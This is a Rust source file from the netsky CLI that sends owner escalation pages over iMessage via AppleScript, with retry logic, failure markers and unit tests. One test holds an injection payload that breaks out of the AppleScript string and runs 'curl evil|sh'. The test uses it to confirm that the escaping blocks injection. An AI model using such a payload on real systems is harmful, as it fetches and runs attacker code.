netsky 0.2.0

netsky CLI: the viable system launcher and subcommand dispatcher
Documentation
//! `netsky escalate <subject> [body]` — shell-side iMessage floor page.
//!
//! Minimally-dependent pager: no claude, no MCP, no network beyond what
//! Messages.app itself does. Floor of the defense-in-depth escalation
//! design. The watchdog calls it on B3 hang detection.
//!
//! Macos only (osascript + Messages.app).

use std::fs;
use std::process::Command;
use std::thread;
use std::time::Duration;

use crate::observability;
use netsky_core::config::owner_imessage;
use netsky_core::consts::{
    ESCALATE_ERR_FILE, ESCALATE_RETRY_BACKOFF_MS, ESCALATE_TIMEOUT_S, OSASCRIPT_BIN,
};
use netsky_core::paths::{ensure_state_dir, escalate_failed_marker};
use netsky_core::process::run_bounded;

/// Outcome of a single osascript invocation. Collapsed from the
/// underlying `BoundedOutcome` into the three cases the retry policy
/// needs to distinguish: success, timeout (retry), non-zero exit (retry).
enum Attempt {
    Sent,
    TimedOut,
    Failed(String),
}

pub fn run(subject: &str, body: Option<&str>) -> netsky_core::Result<()> {
    let handle = owner_imessage().ok_or_else(|| {
        netsky_core::Error::Message(
            "owner iMessage handle is unset: set NETSKY_OWNER_IMESSAGE or run \
             bin/onboard to write ~/.config/netsky/owner.toml"
                .into(),
        )
    })?;
    let ts = chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ");

    let msg = match body {
        Some(b) if !b.is_empty() => format!("[netsky {ts}] {subject}\n\n{b}"),
        _ => format!("[netsky {ts}] {subject}"),
    };

    let escaped_msg = applescript_escape(&msg);
    let escaped_handle = applescript_escape(&handle);

    let script = format!(
        r#"tell application "Messages"
    set phoneNum to "{escaped_handle}"
    set msg to "{escaped_msg}"
    set targetService to 1st service whose service type = iMessage
    set targetBuddy to buddy phoneNum of targetService
    send msg to targetBuddy
end tell"#,
    );

    // First attempt. A transient osascript timeout or Messages.app sync
    // stall should not lose the page — the retry gives Messages.app a
    // second to settle before declaring the escalation dead.
    let first = try_send(&script);
    if matches!(first, Attempt::Sent) {
        record_sent(subject, &msg);
        return Ok(());
    }
    thread::sleep(Duration::from_millis(ESCALATE_RETRY_BACKOFF_MS));
    let second = try_send(&script);
    if matches!(second, Attempt::Sent) {
        record_sent(subject, &msg);
        return Ok(());
    }
    mark_failed(subject, &msg, &first, &second);
    bail_for(&second)
}

fn try_send(script: &str) -> Attempt {
    let mut cmd = Command::new(OSASCRIPT_BIN);
    cmd.arg("-e").arg(script);
    let out = match run_bounded(cmd, Duration::from_secs(ESCALATE_TIMEOUT_S)) {
        Ok(o) => o,
        // run_bounded only errors on spawn/IO failure. Treat as a retryable
        // Failed attempt rather than crashing the caller; the retry will
        // surface the same error and the marker will carry it.
        Err(e) => return Attempt::Failed(format!("spawn error: {e}")),
    };
    if out.timed_out {
        return Attempt::TimedOut;
    }
    if out.success() {
        return Attempt::Sent;
    }
    let stderr = String::from_utf8_lossy(&out.stderr).into_owned();
    let code = out.status.and_then(|s| s.code()).unwrap_or(-1);
    Attempt::Failed(format!("exit {code}: {stderr}"))
}

fn record_sent(subject: &str, msg: &str) {
    let _ = fs::remove_file(ESCALATE_ERR_FILE);
    observability::record_directive(
        "escalate",
        None,
        msg,
        Some("imessage"),
        None,
        Some("sent"),
        serde_json::json!({ "subject": subject }),
    );
}

fn mark_failed(subject: &str, msg: &str, first: &Attempt, second: &Attempt) {
    let last_err = match second {
        Attempt::TimedOut => "osascript timed out (retry)".to_string(),
        Attempt::Failed(e) => e.clone(),
        Attempt::Sent => "unreachable".to_string(),
    };
    let _ = fs::write(ESCALATE_ERR_FILE, last_err.as_bytes());

    // Durable on-disk marker — survives meta.db outage and doctor picks
    // it up on its next run.
    let _ = ensure_state_dir();
    let ts_path = chrono::Utc::now().format("%Y%m%dT%H%M%SZ").to_string();
    let marker_body = format!(
        "escalate FAILED twice at {}.\n\
         subject: {subject}\n\
         first attempt:  {}\n\
         second attempt: {}\n\
         message body:\n{msg}\n",
        chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ"),
        attempt_label(first),
        attempt_label(second),
    );
    let _ = fs::write(escalate_failed_marker(&ts_path), marker_body);

    let status = match second {
        Attempt::TimedOut => "timeout",
        _ => "failed",
    };
    observability::record_directive(
        "escalate",
        None,
        msg,
        Some("imessage"),
        None,
        Some(status),
        serde_json::json!({
            "subject": subject,
            "first_attempt": attempt_label(first),
            "second_attempt": attempt_label(second),
        }),
    );
}

fn attempt_label(a: &Attempt) -> String {
    match a {
        Attempt::Sent => "sent".to_string(),
        Attempt::TimedOut => "timeout".to_string(),
        Attempt::Failed(e) => format!("failed ({e})"),
    }
}

fn bail_for(a: &Attempt) -> netsky_core::Result<()> {
    match a {
        Attempt::TimedOut => {
            netsky_core::bail!("osascript timed out after retry ({ESCALATE_TIMEOUT_S}s each)")
        }
        Attempt::Failed(e) => netsky_core::bail!("osascript failed after retry: {e}"),
        // Sent handled by caller; reachable only via programming error.
        Attempt::Sent => Ok(()),
    }
}

/// AppleScript string escape: backslash-escape `\` and `"`. Real newlines
/// pass through as line breaks.
fn applescript_escape(s: &str) -> String {
    s.replace('\\', "\\\\").replace('"', "\\\"")
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn applescript_escape_backslash_and_quote() {
        assert_eq!(applescript_escape(r#"a"b"#), r#"a\"b"#);
        assert_eq!(applescript_escape(r"a\b"), r"a\\b");
        assert_eq!(applescript_escape("hello"), "hello");
    }

    #[test]
    fn applescript_escape_closes_injection_payload() {
        // Attacker-shaped handle: close the first tell, exec shell, reopen.
        let handle = r#"+1"
end tell
do shell script "curl evil|sh"
tell application "Messages"
set phoneNum to "x"#;
        let escaped = applescript_escape(handle);
        // No bare `"` remains — every one is backslash-escaped.
        let chars: Vec<char> = escaped.chars().collect();
        for (i, c) in chars.iter().enumerate() {
            if *c == '"' {
                assert!(
                    i > 0 && chars[i - 1] == '\\',
                    "bare quote at {i}: {escaped}"
                );
            }
        }
    }

    #[test]
    fn attempt_label_formats() {
        assert_eq!(attempt_label(&Attempt::Sent), "sent");
        assert_eq!(attempt_label(&Attempt::TimedOut), "timeout");
        assert_eq!(
            attempt_label(&Attempt::Failed("exit 1: nope".into())),
            "failed (exit 1: nope)"
        );
    }
}